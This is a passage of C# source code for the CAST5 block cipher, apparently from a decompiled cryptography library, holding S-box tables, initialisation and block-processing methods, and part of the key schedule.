2302804382u, 1113892351u, 2237858528u, 1927010603u, 4002880361u, 1856122846u, 1594404395u, 2944033133u, 3855189863u, - 3474975698u, 1643104450u, 4054590833u, 3431086530u, 1730235576u, 2984608721u, 3084664418u, 2131803598u, 4178205752u, 267404349u, - 1617849798u, 1616132681u, 1462223176u, 736725533u, 2327058232u, 551665188u, 2945899023u, 1749386277u, 2575514597u, 1611482493u, - 674206544u, 2201269090u, 3642560800u, 728599968u, 1680547377u, 2620414464u, 1388111496u, 453204106u, 4156223445u, 1094905244u, - 2754698257u, 2201108165u, 3757000246u, 2704524545u, 3922940700u, 3996465027u - }; - - private static readonly uint[] S4 = new uint[256] - { - 2645754912u, 532081118u, 2814278639u, 3530793624u, 1246723035u, 1689095255u, 2236679235u, 4194438865u, 2116582143u, 3859789411u, - 157234593u, 2045505824u, 4245003587u, 1687664561u, 4083425123u, 605965023u, 672431967u, 1336064205u, 3376611392u, 214114848u, - 4258466608u, 3232053071u, 489488601u, 605322005u, 3998028058u, 264917351u, 1912574028u, 756637694u, 436560991u, 202637054u, - 135989450u, 85393697u, 2152923392u, 3896401662u, 2895836408u, 2145855233u, 3535335007u, 115294817u, 3147733898u, 1922296357u, - 3464822751u, 4117858305u, 1037454084u, 2725193275u, 2127856640u, 1417604070u, 1148013728u, 1827919605u, 642362335u, 2929772533u, - 909348033u, 1346338451u, 3547799649u, 297154785u, 1917849091u, 4161712827u, 2883604526u, 3968694238u, 1469521537u, 3780077382u, - 3375584256u, 1763717519u, 136166297u, 4290970789u, 1295325189u, 2134727907u, 2798151366u, 1566297257u, 3672928234u, 2677174161u, - 2672173615u, 965822077u, 2780786062u, 289653839u, 1133871874u, 3491843819u, 35685304u, 1068898316u, 418943774u, 672553190u, - 642281022u, 2346158704u, 1954014401u, 3037126780u, 4079815205u, 2030668546u, 3840588673u, 672283427u, 1776201016u, 359975446u, - 3750173538u, 555499703u, 2769985273u, 1324923u, 69110472u, 152125443u, 3176785106u, 3822147285u, 1340634837u, 798073664u, - 1434183902u, 15393959u, 216384236u, 1303690150u, 3881221631u, 3711134124u, 3960975413u, 106373927u, 2578434224u, 1455997841u, - 1801814300u, 1578393881u, 1854262133u, 3188178946u, 3258078583u, 2302670060u, 1539295533u, 3505142565u, 3078625975u, 2372746020u, - 549938159u, 3278284284u, 2620926080u, 181285381u, 2865321098u, 3970029511u, 68876850u, 488006234u, 1728155692u, 2608167508u, - 836007927u, 2435231793u, 919367643u, 3339422534u, 3655756360u, 1457871481u, 40520939u, 1380155135u, 797931188u, 234455205u, - 2255801827u, 3990488299u, 397000196u, 739833055u, 3077865373u, 2871719860u, 4022553888u, 772369276u, 390177364u, 3853951029u, - 557662966u, 740064294u, 1640166671u, 1699928825u, 3535942136u, 622006121u, 3625353122u, 68743880u, 1742502u, 219489963u, - 1664179233u, 1577743084u, 1236991741u, 410585305u, 2366487942u, 823226535u, 1050371084u, 3426619607u, 3586839478u, 212779912u, - 4147118561u, 1819446015u, 1911218849u, 530248558u, 3486241071u, 3252585495u, 2886188651u, 3410272728u, 2342195030u, 20547779u, - 2982490058u, 3032363469u, 3631753222u, 312714466u, 1870521650u, 1493008054u, 3491686656u, 615382978u, 4103671749u, 2534517445u, - 1932181u, 2196105170u, 278426614u, 6369430u, 3274544417u, 2913018367u, 697336853u, 2143000447u, 2946413531u, 701099306u, - 1558357093u, 2805003052u, 3500818408u, 2321334417u, 3567135975u, 216290473u, 3591032198u, 23009561u, 1996984579u, 3735042806u, - 2024298078u, 3739440863u, 569400510u, 2339758983u, 3016033873u, 3097871343u, 3639523026u, 3844324983u, 3256173865u, 795471839u, - 2951117563u, 4101031090u, 4091603803u, 3603732598u, 971261452u, 534414648u, 428311343u, 3389027175u, 2844869880u, 694888862u, - 1227866773u, 2456207019u, 3043454569u, 2614353370u, 3749578031u, 3676663836u, 459166190u, 4132644070u, 1794958188u, 51825668u, - 2252611902u, 3084671440u, 2036672799u, 3436641603u, 1099053433u, 2469121526u, 3059204941u, 1323291266u, 2061838604u, 1018778475u, - 2233344254u, 2553501054u, 334295216u, 3556750194u, 1065731521u, 183467730u - }; - - private static readonly uint[] S5 = new uint[256] - { - 2127105028u, 745436345u, 2601412319u, 2788391185u, 3093987327u, 500390133u, 1155374404u, 389092991u, 150729210u, 3891597772u, - 3523549952u, 1935325696u, 716645080u, 946045387u, 2901812282u, 1774124410u, 3869435775u, 4039581901u, 3293136918u, 3438657920u, - 948246080u, 363898952u, 3867875531u, 1286266623u, 1598556673u, 68334250u, 630723836u, 1104211938u, 1312863373u, 613332731u, - 2377784574u, 1101634306u, 441780740u, 3129959883u, 1917973735u, 2510624549u, 3238456535u, 2544211978u, 3308894634u, 1299840618u, - 4076074851u, 1756332096u, 3977027158u, 297047435u, 3790297736u, 2265573040u, 3621810518u, 1311375015u, 1667687725u, 47300608u, - 3299642885u, 2474112369u, 201668394u, 1468347890u, 576830978u, 3594690761u, 3742605952u, 1958042578u, 1747032512u, 3558991340u, - 1408974056u, 3366841779u, 682131401u, 1033214337u, 1545599232u, 4265137049u, 206503691u, 103024618u, 2855227313u, 1337551222u, - 2428998917u, 2963842932u, 4015366655u, 3852247746u, 2796956967u, 3865723491u, 3747938335u, 247794022u, 3755824572u, 702416469u, - 2434691994u, 397379957u, 851939612u, 2314769512u, 218229120u, 1380406772u, 62274761u, 214451378u, 3170103466u, 2276210409u, - 3845813286u, 28563499u, 446592073u, 1693330814u, 3453727194u, 29968656u, 3093872512u, 220656637u, 2470637031u, 77972100u, - 1667708854u, 1358280214u, 4064765667u, 2395616961u, 325977563u, 4277240721u, 4220025399u, 3605526484u, 3355147721u, 811859167u, - 3069544926u, 3962126810u, 652502677u, 3075892249u, 4132761541u, 3498924215u, 1217549313u, 3250244479u, 3858715919u, 3053989961u, - 1538642152u, 2279026266u, 2875879137u, 574252750u, 3324769229u, 2651358713u, 1758150215u, 141295887u, 2719868960u, 3515574750u, - 4093007735u, 4194485238u, 1082055363u, 3417560400u, 395511885u, 2966884026u, 179534037u, 3646028556u, 3738688086u, 1092926436u, - 2496269142u, 257381841u, 3772900718u, 1636087230u, 1477059743u, 2499234752u, 3811018894u, 2675660129u, 3285975680u, 90732309u, - 1684827095u, 1150307763u, 1723134115u, 3237045386u, 1769919919u, 1240018934u, 815675215u, 750138730u, 2239792499u, 1234303040u, - 1995484674u, 138143821u, 675421338u, 1145607174u, 1936608440u, 3238603024u, 2345230278u, 2105974004u, 323969391u, 779555213u, - 3004902369u, 2861610098u, 1017501463u, 2098600890u, 2628620304u, 2940611490u, 2682542546u, 1171473753u, 3656571411u, 3687208071u, - 4091869518u, 393037935u, 159126506u, 1662887367u, 1147106178u, 391545844u, 3452332695u, 1891500680u, 3016609650u, 1851642611u, - 546529401u, 1167818917u, 3194020571u, 2848076033u, 3953471836u, 575554290u, 475796850u, 4134673196u, 450035699u, 2351251534u, - 844027695u, 1080539133u, 86184846u, 1554234488u, 3692025454u, 1972511363u, 2018339607u, 1491841390u, 1141460869u, 1061690759u, - 4244549243u, 2008416118u, 2351104703u, 2868147542u, 1598468138u, 722020353u, 1027143159u, 212344630u, 1387219594u, 1725294528u, - 3745187956u, 2500153616u, 458938280u, 4129215917u, 1828119673u, 544571780u, 3503225445u, 2297937496u, 1241802790u, 267843827u, - 2694610800u, 1397140384u, 1558801448u, 3782667683u, 1806446719u, 929573330u, 2234912681u, 400817706u, 616011623u, 4121520928u, - 3603768725u, 1761550015u, 1968522284u, 4053731006u, 4192232858u, 4005120285u, 872482584u, 3140537016u, 3894607381u, 2287405443u, - 1963876937u, 3663887957u, 1584857000u, 2975024454u, 1833426440u, 4025083860u - }; - - private static readonly uint[] S6 = new uint[256] - { - 4143615901u, 749497569u, 1285769319u, 3795025788u, 2514159847u, 23610292u, 3974978748u, 844452780u, 3214870880u, 3751928557u, - 2213566365u, 1676510905u, 448177848u, 3730751033u, 4086298418u, 2307502392u, 871450977u, 3222878141u, 4110862042u, 3831651966u, - 2735270553u, 1310974780u, 2043402188u, 1218528103u, 2736035353u, 4274605013u, 2702448458u, 3936360550u, 2693061421u, 162023535u, - 2827510090u, 687910808u, 23484817u, 3784910947u, 3371371616u, 779677500u, 3503626546u, 3473927188u, 4157212626u, 3500679282u, - 4248902014u, 2466621104u, 3899384794u, 1958663117u, 925738300u, 1283408968u, 3669349440u, 1840910019u, 137959847u, 2679828185u, - 1239142320u, 1315376211u, 1547541505u, 1690155329u, 739140458u, 3128809933u, 3933172616u, 3876308834u, 905091803u, 1548541325u, - 4040461708u, 3095483362u, 144808038u, 451078856u, 676114313u, 2861728291u, 2469707347u, 993665471u, 373509091u, 2599041286u, - 4025009006u, 4170239449u, 2149739950u, 3275793571u, 3749616649u, 2794760199u, 1534877388u, 572371878u, 2590613551u, 1753320020u, - 3467782511u, 1405125690u, 4270405205u, 633333386u, 3026356924u, 3475123903u, 632057672u, 2846462855u, 1404951397u, 3882875879u, - 3915906424u, 195638627u, 2385783745u, 3902872553u, 1233155085u, 3355999740u, 2380578713u, 2702246304u, 2144565621u, 3663341248u, - 3894384975u, 2502479241u, 4248018925u, 3094885567u, 1594115437u, 572884632u, 3385116731u, 767645374u, 1331858858u, 1475698373u, - 3793881790u, 3532746431u, 1321687957u, 619889600u, 1121017241u, 3440213920u, 2070816767u, 2833025776u, 1933951238u, 4095615791u, - 890643334u, 3874130214u, 859025556u, 360630002u, 925594799u, 1764062180u, 3920222280u, 4078305929u, 979562269u, 2810700344u, - 4087740022u, 1949714515u, 546639971u, 1165388173u, 3069891591u, 1495988560u, 922170659u, 1291546247u, 2107952832u, 1813327274u, - 3406010024u, 3306028637u, 4241950635u, 153207855u, 2313154747u, 1608695416u, 1150242611u, 1967526857u, 721801357u, 1220138373u, - 3691287617u, 3356069787u, 2112743302u, 3281662835u, 1111556101u, 1778980689u, 250857638u, 2298507990u, 673216130u, 2846488510u, - 3207751581u, 3562756981u, 3008625920u, 3417367384u, 2198807050u, 529510932u, 3547516680u, 3426503187u, 2364944742u, 102533054u, - 2294910856u, 1617093527u, 1204784762u, 3066581635u, 1019391227u, 1069574518u, 1317995090u, 1691889997u, 3661132003u, 510022745u, - 3238594800u, 1362108837u, 1817929911u, 2184153760u, 805817662u, 1953603311u, 3699844737u, 120799444u, 2118332377u, 207536705u, - 2282301548u, 4120041617u, 145305846u, 2508124933u, 3086745533u, 3261524335u, 1877257368u, 2977164480u, 3160454186u, 2503252186u, - 4221677074u, 759945014u, 254147243u, 2767453419u, 3801518371u, 629083197u, 2471014217u, 907280572u, 3900796746u, 940896768u, - 2751021123u, 2625262786u, 3161476951u, 3661752313u, 3260732218u, 1425318020u, 2977912069u, 1496677566u, 3988592072u, 2140652971u, - 3126511541u, 3069632175u, 977771578u, 1392695845u, 1698528874u, 1411812681u, 1369733098u, 1343739227u, 3620887944u, 1142123638u, - 67414216u, 3102056737u, 3088749194u, 1626167401u, 2546293654u, 3941374235u, 697522451u, 33404913u, 143560186u, 2595682037u, - 994885535u, 1247667115u, 3859094837u, 2699155541u, 3547024625u, 4114935275u, 2968073508u, 3199963069u, 2732024527u, 1237921620u, - 951448369u, 1898488916u, 1211705605u, 2790989240u, 2233243581u, 3598044975u - }; - - private static readonly uint[] S7 = new uint[256] - { - 2246066201u, 858518887u, 1714274303u, 3485882003u, 713916271u, 2879113490u, 3730835617u, 539548191u, 36158695u, 1298409750u, - 419087104u, 1358007170u, 749914897u, 2989680476u, 1261868530u, 2995193822u, 2690628854u, 3443622377u, 3780124940u, 3796824509u, - 2976433025u, 4259637129u, 1551479000u, 512490819u, 1296650241u, 951993153u, 2436689437u, 2460458047u, 144139966u, 3136204276u, - 310820559u, 3068840729u, 643875328u, 1969602020u, 1680088954u, 2185813161u, 3283332454u, 672358534u, 198762408u, 896343282u, - 276269502u, 3014846926u, 84060815u, 197145886u, 376173866u, 3943890818u, 3813173521u, 3545068822u, 1316698879u, 1598252827u, - 2633424951u, 1233235075u, 859989710u, 2358460855u, 3503838400u, 3409603720u, 1203513385u, 1193654839u, 2792018475u, 2060853022u, - 207403770u, 1144516871u, 3068631394u, 1121114134u, 177607304u, 3785736302u, 326409831u, 1929119770u, 2983279095u, 4183308101u, - 3474579288u, 3200513878u, 3228482096u, 119610148u, 1170376745u, 3378393471u, 3163473169u, 951863017u, 3337026068u, 3135789130u, - 2907618374u, 1183797387u, 2015970143u, 4045674555u, 2182986399u, 2952138740u, 3928772205u, 384012900u, 2454997643u, 10178499u, - 2879818989u, 2596892536u, 111523738u, 2995089006u, 451689641u, 3196290696u, 235406569u, 1441906262u, 3890558523u, 3013735005u, - 4158569349u, 1644036924u, 376726067u, 1006849064u, 3664579700u, 2041234796u, 1021632941u, 1374734338u, 2566452058u, 371631263u, - 4007144233u, 490221539u, 206551450u, 3140638584u, 1053219195u, 1853335209u, 3412429660u, 3562156231u, 735133835u, 1623211703u, - 3104214392u, 2738312436u, 4096837757u, 3366392578u, 3110964274u, 3956598718u, 3196820781u, 2038037254u, 3877786376u, 2339753847u, - 300912036u, 3766732888u, 2372630639u, 1516443558u, 4200396704u, 1574567987u, 4069441456u, 4122592016u, 2699739776u, 146372218u, - 2748961456u, 2043888151u, 35287437u, 2596680554u, 655490400u, 1132482787u, 110692520u, 1031794116u, 2188192751u, 1324057718u, - 1217253157u, 919197030u, 686247489u, 3261139658u, 1028237775u, 3135486431u, 3059715558u, 2460921700u, 986174950u, 2661811465u, - 4062904701u, 2752986992u, 3709736643u, 367056889u, 1353824391u, 731860949u, 1650113154u, 1778481506u, 784341916u, 357075625u, - 3608602432u, 1074092588u, 2480052770u, 3811426202u, 92751289u, 877911070u, 3600361838u, 1231880047u, 480201094u, 3756190983u, - 3094495953u, 434011822u, 87971354u, 363687820u, 1717726236u, 1901380172u, 3926403882u, 2481662265u, 400339184u, 1490350766u, - 2661455099u, 1389319756u, 2558787174u, 784598401u, 1983468483u, 30828846u, 3550527752u, 2716276238u, 3841122214u, 1765724805u, - 1955612312u, 1277890269u, 1333098070u, 1564029816u, 2704417615u, 1026694237u, 3287671188u, 1260819201u, 3349086767u, 1016692350u, - 1582273796u, 1073413053u, 1995943182u, 694588404u, 1025494639u, 3323872702u, 3551898420u, 4146854327u, 453260480u, 1316140391u, - 1435673405u, 3038941953u, 3486689407u, 1622062951u, 403978347u, 817677117u, 950059133u, 4246079218u, 3278066075u, 1486738320u, - 1417279718u, 481875527u, 2549965225u, 3933690356u, 760697757u, 1452955855u, 3897451437u, 1177426808u, 1702951038u, 4085348628u, - 2447005172u, 1084371187u, 3516436277u, 3068336338u, 1073369276u, 1027665953u, 3284188590u, 1230553676u, 1368340146u, 2226246512u, - 267243139u, 2274220762u, 4070734279u, 2497715176u, 2423353163u, 2504755875u - }; - - private static readonly uint[] S8 = new uint[256] - { - 3793104909u, 3151888380u, 2817252029u, 895778965u, 2005530807u, 3871412763u, 237245952u, 86829237u, 296341424u, 3851759377u, - 3974600970u, 2475086196u, 709006108u, 1994621201u, 2972577594u, 937287164u, 3734691505u, 168608556u, 3189338153u, 2225080640u, - 3139713551u, 3033610191u, 3025041904u, 77524477u, 185966941u, 1208824168u, 2344345178u, 1721625922u, 3354191921u, 1066374631u, - 1927223579u, 1971335949u, 2483503697u, 1551748602u, 2881383779u, 2856329572u, 3003241482u, 48746954u, 1398218158u, 2050065058u, - 313056748u, 4255789917u, 393167848u, 1912293076u, 940740642u, 3465845460u, 3091687853u, 2522601570u, 2197016661u, 1727764327u, - 364383054u, 492521376u, 1291706479u, 3264136376u, 1474851438u, 1685747964u, 2575719748u, 1619776915u, 1814040067u, 970743798u, - 1561002147u, 2925768690u, 2123093554u, 1880132620u, 3151188041u, 697884420u, 2550985770u, 2607674513u, 2659114323u, 110200136u, - 1489731079u, 997519150u, 1378877361u, 3527870668u, 478029773u, 2766872923u, 1022481122u, 431258168u, 1112503832u, 897933369u, - 2635587303u, 669726182u, 3383752315u, 918222264u, 163866573u, 3246985393u, 3776823163u, 114105080u, 1903216136u, 761148244u, - 3571337562u, 1690750982u, 3166750252u, 1037045171u, 1888456500u, 2010454850u, 642736655u, 616092351u, 365016990u, 1185228132u, - 4174898510u, 1043824992u, 2023083429u, 2241598885u, 3863320456u, 3279669087u, 3674716684u, 108438443u, 2132974366u, 830746235u, - 606445527u, 4173263986u, 2204105912u, 1844756978u, 2532684181u, 4245352700u, 2969441100u, 3796921661u, 1335562986u, 4061524517u, - 2720232303u, 2679424040u, 634407289u, 885462008u, 3294724487u, 3933892248u, 2094100220u, 339117932u, 4048830727u, 3202280980u, - 1458155303u, 2689246273u, 1022871705u, 2464987878u, 3714515309u, 353796843u, 2822958815u, 4256850100u, 4052777845u, 551748367u, - 618185374u, 3778635579u, 4020649912u, 1904685140u, 3069366075u, 2670879810u, 3407193292u, 2954511620u, 4058283405u, 2219449317u, - 3135758300u, 1120655984u, 3447565834u, 1474845562u, 3577699062u, 550456716u, 3466908712u, 2043752612u, 881257467u, 869518812u, - 2005220179u, 938474677u, 3305539448u, 3850417126u, 1315485940u, 3318264702u, 226533026u, 965733244u, 321539988u, 1136104718u, - 804158748u, 573969341u, 3708209826u, 937399083u, 3290727049u, 2901666755u, 1461057207u, 4013193437u, 4066861423u, 3242773476u, - 2421326174u, 1581322155u, 3028952165u, 786071460u, 3900391652u, 3918438532u, 1485433313u, 4023619836u, 3708277595u, 3678951060u, - 953673138u, 1467089153u, 1930354364u, 1533292819u, 2492563023u, 1346121658u, 1685000834u, 1965281866u, 3765933717u, 4190206607u, - 2052792609u, 3515332758u, 690371149u, 3125873887u, 2180283551u, 2903598061u, 3933952357u, 436236910u, 289419410u, 14314871u, - 1242357089u, 2904507907u, 1616633776u, 2666382180u, 585885352u, 3471299210u, 2699507360u, 1432659641u, 277164553u, 3354103607u, - 770115018u, 2303809295u, 3741942315u, 3177781868u, 2853364978u, 2269453327u, 3774259834u, 987383833u, 1290892879u, 225909803u, - 1741533526u, 890078084u, 1496906255u, 1111072499u, 916028167u, 243534141u, 1252605537u, 2204162171u, 531204876u, 290011180u, - 3916834213u, 102027703u, 237315147u, 209093447u, 1486785922u, 220223953u, 2758195998u, 4175039106u, 82940208u, 3127791296u, - 2569425252u, 518464269u, 1353887104u, 3941492737u, 2377294467u, 3935040926u - }; - - internal static readonly int MAX_ROUNDS = 16; - - internal static readonly int RED_ROUNDS = 12; - - private int[] _Kr = new int[17]; - - private uint[] _Km = new uint[17]; - - private bool _encrypting; - - private byte[] _workingKey; - - private int _rounds = MAX_ROUNDS; - - public virtual string AlgorithmName => "CAST5"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Invalid parameter passed to " + AlgorithmName + " init - " + Platform.GetTypeName(parameters)); - } - _encrypting = forEncryption; - _workingKey = ((KeyParameter)parameters).GetKey(); - SetKey(_workingKey); - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - int blockSize = GetBlockSize(); - if (_workingKey == null) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, blockSize, "input buffer too short"); - Check.OutputLength(output, outOff, blockSize, "output buffer too short"); - if (_encrypting) - { - return EncryptBlock(input, inOff, output, outOff); - } - return DecryptBlock(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } - - public virtual int GetBlockSize() - { - return 8; - } - - internal virtual void SetKey(byte[] key) - { - if (key.Length < 11) - { - _rounds = RED_ROUNDS; - } - int[] array = new int[16]; - int[] array2 = new int[16]; - for (int i = 0; i < key.Length; i++) - { - array2[i] = key[i] & 0xFF; - } - uint num = IntsTo32bits(array2, 0); - uint num2 = IntsTo32bits(array2, 4); - uint num3 = IntsTo32bits(array2, 8); - uint num4 = IntsTo32bits(array2, 12); - uint inData = num ^ S5[array2[13]] ^ S6[array2[15]] ^ S7[array2[12]] ^ S8[array2[14]] ^ S7[array2[8]]; - Bits32ToInts(inData, array, 0); - uint inData2 = num3 ^ S5[array[0]] ^ S6[array[2]] ^ S7[array[1]] ^ S8[array[3]] ^ S8[array2[10]]; - Bits32ToInts(inData2, array, 4); - uint inData3 = num4 ^ S5[array[7]] ^ S6[array[6]] ^ S7[array[5]] ^ S8[array[4]] ^ S5[array2[9]]; - Bits32ToInts(inData3, array, 8); - uint inData4 = num2 ^ S5[array[10]] ^ S6[array[9]] ^ S7[array[11]] ^ S8[array[8]] ^ S6[array2[11]]; - Bits32ToInts(inData4, array, 12); - _Km[1] = S5[array[8]] ^ S6[array[9]] ^ S7[array[7]] ^ S8[array[6]] ^ S5[array[2]]; - _Km[2] = S5[array[10]] ^ S6[array[11]] ^ S7[array[5]] ^ S8[array[4]] ^ S6[array[6]]; - _Km[3] = S5[array[12]] ^ S6[array[13]] ^ S7[array[3]] ^ S8[array[2]] ^ S7[array[9]]; - _Km[4] = S5[array[14]] ^ S6[array[15]] ^ S7[array[1]] ^ S8[array[0]] ^ S8[array[12]]; - inData = IntsTo32bits(array, 0); - inData2 = IntsTo32bits(array, 4); - inData3 = IntsTo32bits(array, 8); - inData4 = IntsTo32bits(array, 12); - num = inData3 ^ S5[array[5]] ^ S6[array[7]] ^ S7[array[4]] ^ S8[array[6]] ^ S7[array[0]]; - Bits32ToInts(num, array2, 0); - num2 = inData ^ S5[array2[0]] ^ S6[array2[2]] ^ S7[array2[1]] ^ S8[array2[3]] ^ S8[array[2]]; - Bits32ToInts(num2, array2, 4); - num3 = inData2 ^ S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S5[array[1]]; - Bits32ToInts(num3, array2, 8); - num4 = inData4 ^ S5[array2[10]] ^ S6[array2[9]] ^ S7[array2[11]] ^ S8[array2[8]] ^ S6[array[3]]; - Bits32ToInts(num4, array2, 12); - _Km[5] = S5[array2[3]] ^ S6[array2[2]] ^ S7[array2[12]] ^ S8[array2[13]] ^ S5[array2[8]]; - _Km[6] = S5[array2[1]] ^ S6[array2[0]] ^ S7[array2[14]] ^ S8[array2[15]] ^ S6[array2[13]]; - _Km[7] = S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[8]] ^ S8[array2[9]] ^ S7[array2[3]]; - _Km[8] = S5[array2[5]] ^ S6[array2[4]] ^ S7[array2[10]] ^ S8[array2[11]] ^ S8[array2[7]]; - num = IntsTo32bits(array2, 0); - num2 = IntsTo32bits(array2, 4); - num3 = IntsTo32bits(array2, 8); - num4 = IntsTo32bits(array2, 12); - inData = num ^ S5[array2[13]] ^ S6[array2[15]] ^ S7[array2[12]] ^ S8[array2[14]] ^ S7[array2[8]]; - Bits32ToInts(inData, array, 0); - inData2 = num3 ^ S5[array[0]] ^ S6[array[2]] ^ S7[array[1]] ^ S8[array[3]] ^ S8[array2[10]]; - Bits32ToInts(inData2, array, 4); - inData3 = num4 ^ S5[array[7]] ^ S6[array[6]] ^ S7[array[5]] ^ S8[array[4]] ^ S5[array2[9]]; - Bits32ToInts(inData3, array, 8); - inData4 = num2 ^ S5[array[10]] ^ S6[array[9]] ^ S7[array[11]] ^ S8[array[8]] ^ S6[array2[11]]; - Bits32ToInts(inData4, array, 12); - _Km[9] = S5[array[3]] ^ S6[array[2]] ^ S7[array[12]] ^ S8[array[13]] ^ S5[array[9]]; - _Km[10] = S5[array[1]] ^ S6[array[0]] ^ S7[array[14]] ^ S8[array[15]] ^ S6[array[12]]; - _Km[11] = S5[array[7]] ^ S6[array[6]] ^ S7[array[8]] ^ S8[array[9]] ^ S7[array[2]]; - _Km[12] = S5[array[5]] ^ S6[array[4]] ^ S7[array[10]] ^ S8[array[11]] ^ S8[array[6]]; - inData = IntsTo32bits(array, 0); - inData2 = IntsTo32bits(array, 4); - inData3 = IntsTo32bits(array, 8); - inData4 = IntsTo32bits(array, 12); - num = inData3 ^ S5[array[5]] ^ S6[array[7]] ^ S7[array[4]] ^ S8[array[6]] ^ S7[array[0]]; - Bits32ToInts(num, array2, 0); - num2 = inData ^ S5[array2[0]] ^ S6[array2[2]] ^ S7[array2[1]] ^ S8[array2[3]] ^ S8[array[2]]; - Bits32ToInts(num2, array2, 4); - num3 = inData2 ^ S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S5[array[1]]; - Bits32ToInts(num3, array2, 8); - num4 = inData4 ^ S5[array2[10]] ^ S6[array2[9]] ^ S7[array2[11]] ^ S8[array2[8]] ^ S6[array[3]]; - Bits32ToInts(num4, array2, 12); - _Km[13] = S5[array2[8]] ^ S6[array2[9]] ^ S7[array2[7]] ^ S8[array2[6]] ^ S5[array2[3]]; - _Km[14] = S5[array2[10]] ^ S6[array2[11]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S6[array2[7]]; - _Km[15] = S5[array2[12]] ^ S6[array2[13]] ^ S7[array2[3]] ^ S8[array2[2]] ^ S7[array2[8]]; - _Km[16] = S5[array2[14]] ^ S6[array2[15]] ^ S7[array2[1]] ^ S8[array2[0]] ^ S8[array2[13]]; - num = IntsTo32bits(array2, 0); - num2 = IntsTo32bits(array2, 4); - num3 = IntsTo32bits(array2, 8); - num4 = IntsTo32bits(array2, 12); - inData = num ^ S5[array2[13]] ^ S6[array2[15]] ^ S7[array2[12]] ^ S8[array2[14]] ^ S7[array2[8]]; - Bits32ToInts(inData, array, 0); - inData2 = num3 ^ S5[array[0]] ^ S6[array[2]] ^ S7[array[1]] ^ S8[array[3]] ^ S8[array2[10]]; - Bits32ToInts(inData2, array, 4); - inData3 = num4 ^ S5[array[7]] ^ S6[array[6]] ^ S7[array[5]] ^ S8[array[4]] ^ S5[array2[9]]; - Bits32ToInts(inData3, array, 8); - inData4 = num2 ^ S5[array[10]] ^ S6[array[9]] ^ S7[array[11]] ^ S8[array[8]] ^ S6[array2[11]]; - Bits32ToInts(inData4, array, 12); - _Kr[1] = (int)((S5[array[8]] ^ S6[array[9]] ^ S7[array[7]] ^ S8[array[6]] ^ S5[array[2]]) & 0x1F); - _Kr[2] = (int)((S5[array[10]] ^ S6[array[11]] ^ S7[array[5]] ^ S8[array[4]] ^ S6[array[6]]) & 0x1F); - _Kr[3] = (int)((S5[array[12]] ^ S6[array[13]] ^ S7[array[3]] ^ S8[array[2]] ^ S7[array[9]]) & 0x1F); - _Kr[4] = (int)((S5[array[14]] ^ S6[array[15]] ^ S7[array[1]] ^ S8[array[0]] ^ S8[array[12]]) & 0x1F); - inData = IntsTo32bits(array, 0); - inData2 = IntsTo32bits(array, 4); - inData3 = IntsTo32bits(array, 8); - inData4 = IntsTo32bits(array, 12); - num = inData3 ^ S5[array[5]] ^ S6[array[7]] ^ S7[array[4]] ^ S8[array[6]] ^ S7[array[0]]; - Bits32ToInts(num, array2, 0); - num2 = inData ^ S5[array2[0]] ^ S6[array2[2]] ^ S7[array2[1]] ^ S8[array2[3]] ^ S8[array[2]]; - Bits32ToInts(num2, array2, 4); - num3 = inData2 ^ S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S5[array[1]]; - Bits32ToInts(num3, array2, 8); - num4 = inData4 ^ S5[array2[10]] ^ S6[array2[9]] ^ S7[array2[11]] ^ S8[array2[8]] ^ S6[array[3]]; - Bits32ToInts(num4, array2, 12); - _Kr[5] = (int)((S5[array2[3]] ^ S6[array2[2]] ^ S7[array2[12]] ^ S8[array2[13]] ^ S5[array2[8]]) & 0x1F); - _Kr[6] = (int)((S5[array2[1]] ^ S6[array2[0]] ^ S7[array2[14]] ^ S8[array2[15]] ^ S6[array2[13]]) & 0x1F); - _Kr[7] = (int)((S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[8]] ^ S8[array2[9]] ^ S7[array2[3]]) & 0x1F); - _Kr[8] = (int)((S5[array2[5]] ^ S6[array2[4]] ^ S7[array2[10]] ^ S8[array2[11]] ^ S8[array2[7]]) & 0x1F); - num = IntsTo32bits(array2, 0); - num2 = IntsTo32bits(array2, 4); - num3 = IntsTo32bits(array2, 8); - num4 = IntsTo32bits(array2, 12); - inData = num ^ S5[array2[13]] ^ S6[array2[15]] ^ S7[array2[12]] ^ S8[array2[14]] ^ S7[array2[8]]; - Bits32ToInts(inData, array, 0); - inData2 = num3 ^ S5[array[0]] ^ S6[array[2]] ^ S7[array[1]] ^ S8[array[3]] ^ S8[array2[10]]; - Bits32ToInts(inData2, array, 4); - inData3 = num4 ^ S5[array[7]] ^ S6[array[6]] ^ S7[array[5]] ^ S8[array[4]] ^ S5[array2[9]]; - Bits32ToInts(inData3, array, 8); - inData4 = num2 ^ S5[array[10]] ^ S6[array[9]] ^ S7[array[11]] ^ S8[array[8]] ^ S6[array2[11]]; - Bits32ToInts(inData4, array, 12); - _Kr[9] = (int)((S5[array[3]] ^ S6[array[2]] ^ S7[array[12]] ^ S8[array[13]] ^ S5[array[9]]) & 0x1F); - _Kr[10] = (int)((S5[array[1]] ^ S6[array[0]] ^ S7[array[14]] ^ S8[array[15]] ^ S6[array[12]]) & 0x1F); - _Kr[11] = (int)((S5[array[7]] ^ S6[array[6]] ^ S7[array[8]] ^ S8[array[9]] ^ S7[array[2]]) & 0x1F); - _Kr[12] = (int)((S5[array[5]] ^ S6[array[4]] ^ S7[array[10]] ^ S8[array[11]] ^ S8[array[6]]) & 0x1F); - inData = IntsTo32bits(array, 0); - inData2 = IntsTo32bits(array, 4); - inData3 = IntsTo32bits(array, 8); - inData4 = IntsTo32bits(array, 12); - num = inData3 ^ S5[array[5]] ^ S6[array[7]] ^ S7[array[4]] ^ S8[array[6]] ^ S7[array[0]]; - Bits32ToInts(num, array2, 0); - num2 = inData ^ S5[array2[0]] ^ S6[array2[2]] ^ S7[array2[1]] ^ S8[array2[3]] ^ S8[array[2]]; - Bits32ToInts(num2, array2, 